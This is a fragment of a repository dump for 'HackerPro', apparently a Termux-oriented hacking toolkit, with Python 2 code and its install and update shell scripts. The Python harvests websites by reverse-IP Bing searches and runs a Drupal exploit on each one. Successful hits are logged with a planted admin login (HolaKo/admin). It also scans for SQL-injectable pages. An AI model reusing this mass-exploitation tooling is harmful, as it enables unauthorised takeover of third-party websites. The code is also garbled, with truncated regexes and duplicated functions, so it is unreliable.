"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first=" + \ 1404 | str(page) 1405 | req = urllib2.Request(url) 1406 | opreq = urllib2.urlopen(req).read() 1407 | findurl = re.findall( 1408 | '

" + site 1423 | 1424 | print "user:HolaKo\npass:admin" 1425 | a = open('up.txt', 'a') 1426 | a.write(site + '\n') 1427 | a.write("user:" + user + "\npass:" + pwd + "\n") 1428 | else: 1429 | print "[-] Expl Not Found :( " 1430 | 1431 | except Exception as ex: 1432 | print ex 1433 | sys.exit(0) 1434 | 1435 | # Drupal Server ExtraCtor 1436 | 1437 | 1438 | def getdrupal(): 1439 | ip = raw_input('Enter The Ip : ') 1440 | page = 1 1441 | sites = list() 1442 | while page <= 50: 1443 | 1444 | url = "http://www.bing.com/search?q=ip%3A" + ip + \ 1445 | "+node&go=Valider&qs=ds&form=QBRE&first=" + str(page) 1446 | req = urllib2.Request(url) 1447 | opreq = urllib2.urlopen(req).read() 1448 | findurl = re.findall( 1449 | '

" + url 1474 | print "[-]username:HolaKo\n[-]password:admin" 1475 | save = open('drupal.txt', 'a') 1476 | save.write( 1477 | url + "\n" + "[-]username:HolaKo\n[-]password:admin\n") 1478 | 1479 | else: 1480 | print i + "=> exploit not found " 1481 | except Exception as ex: 1482 | print ex 1483 | 1484 | 1485 | def maine(): 1486 | 1487 | print minu 1488 | choose = raw_input("choose a number : ") 1489 | while True: 1490 | 1491 | if choose == "1": 1492 | drupal() 1493 | if choose == "2": 1494 | getdrupal() 1495 | if choose == "3": 1496 | drupallist() 1497 | if choose == "4": 1498 | about() 1499 | if choose == "99": 1500 | menu() 1501 | con = raw_input('Continue [Y/n] -> ') 1502 | if con[0].upper() == 'N': 1503 | exit() 1504 | if con[0].upper() == 'Y': 1505 | maine() 1506 | 1507 | 1508 | def unique(seq): 1509 | seen = set() 1510 | return [seen.add(x) or x for x in seq if x not in seen] 1511 | 1512 | 1513 | def bing_all_grabber(s): 1514 | lista = [] 1515 | page = 1 1516 | while page <= 101: 1517 | try: 1518 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1519 | s + "+&count=50&first=" + str(page) 1520 | openbing = urllib2.urlopen(bing) 1521 | readbing = openbing.read() 1522 | findwebs = re.findall('

" + sqli) 1644 | 1645 | 1646 | def sqlscan(): 1647 | ip = raw_input('Enter IP -> ') 1648 | grabsqli(ip) 1649 | 1650 | 1651 | def unique(seq): 1652 | seen = set() 1653 | return [seen.add(x) or x for x in seq if x not in seen] 1654 | 1655 | 1656 | def bing_all_grabber(s): 1657 | lista = [] 1658 | page = 1 1659 | while page <= 101: 1660 | try: 1661 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1662 | s + "+&count=50&first=" + str(page) 1663 | openbing = urllib2.urlopen(bing) 1664 | readbing = openbing.read() 1665 | findwebs = re.findall('

] Press ENTER to Install HackerPro, CTRL+C to Abort.${NC}" 29 | read INPUT 30 | echo "" 31 | 32 | if [ "$PREFIX" = "/data/data/com.termux/files/usr" ]; then 33 | INSTALL_DIR="$PREFIX/usr/share/doc/hackerpro" 34 | BIN_DIR="$PREFIX/usr/bin/" 35 | pkg install -y git python2 36 | else 37 | INSTALL_DIR="/usr/share/doc/hackerpro" 38 | BIN_DIR="/usr/bin/" 39 | fi 40 | 41 | echo "[✔] Checking directories..."; 42 | if [ -d "$INSTALL_DIR" ]; then 43 | echo "[!] A Directory hackerpro Was Found.. Do You Want To Replace It ? [y/n]:" ; 44 | read mama 45 | if [ "$mama" = "y" ]; then 46 | rm -R "$INSTALL_DIR" 47 | else 48 | exit 49 | fi 50 | fi 51 | 52 | echo "[✔] Installing ..."; 53 | echo ""; 54 | git clone https://github.com/TermuxHackz/hackerpro "$INSTALL_DIR"; 55 | echo "#!/bin/bash 56 | python $INSTALL_DIR/hackerpro.py" '${1+"$@"}' > hackerpro; 57 | chmod +x hackerpro; 58 | sudo cp hackerpro /usr/bin/; 59 | rm hackerpro; 60 | 61 | 62 | if [ -d "$INSTALL_DIR" ] ; 63 | then 64 | echo ""; 65 | echo "[✔] Successfuly Installed !!! [✔]"; 66 | echo ""; 67 | echo "[✔]========================================================================[✔]"; 68 | echo "[✔] ✔✔✔ All Is Done!! you can execute tool by typing hackerpro !! ✔✔✔ [✔]"; 69 | echo "[✔]========================================================================[✔]"; 70 | echo ""; 71 | else 72 | echo "[✘] Installation Failed !!! [✘]"; 73 | exit 74 | fi -------------------------------------------------------------------------------- /logo205x250.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TermuxHackz/hackerpro/aaa47bad4440d6540f00237b657bace63d64f175/logo205x250.gif -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | # 2 | # _ _ _ _____ 3 | # | | | | | | | __ \ 4 | # | |__| | __ _ ___| | _____ _ __ | |__) | __ ___ 5 | # | __ |/ _` |/ __| |/ / _ \ '__| | ___/ '__/ _ \ 6 | # | | | | (_| | (__| < __/ | | | | | | (_) | 7 | # |_| |_|\__,_|\___|_|\_\___|_| |_| |_| \___/ 8 | # Hacking Tools by-Termux Android-Hackers admim 9 | 10 | clear 11 | 12 | sudo chmod +x /etc/ 13 | 14 | clear 15 | 16 | sudo chmod +x /usr/share/doc 17 | 18 | clear 19 | 20 | sudo rm -rf /usr/share/doc/hackerpro/ 21 | 22 | clear 23 | 24 | cd /etc/ 25 | 26 | clear 27 | 28 | sudo rm -rf /etc/TermuxHackz 29 | 30 | clear 31 | 32 | mkdir TermuxHackz 33 | 34 | clear 35 | 36 | cd TermuxHackz 37 | 38 | clear 39 | 40 | git clone https://github.com/TermuxHackz/hackerpro 41 | 42 | clear 43 | 44 | cd hackerpro 45 | 46 | clear 47 | 48 | sudo chmod +x install.sh 49 | 50 | clear 51 | 52 | ./install.sh 53 | 54 | clear --------------------------------------------------------------------------------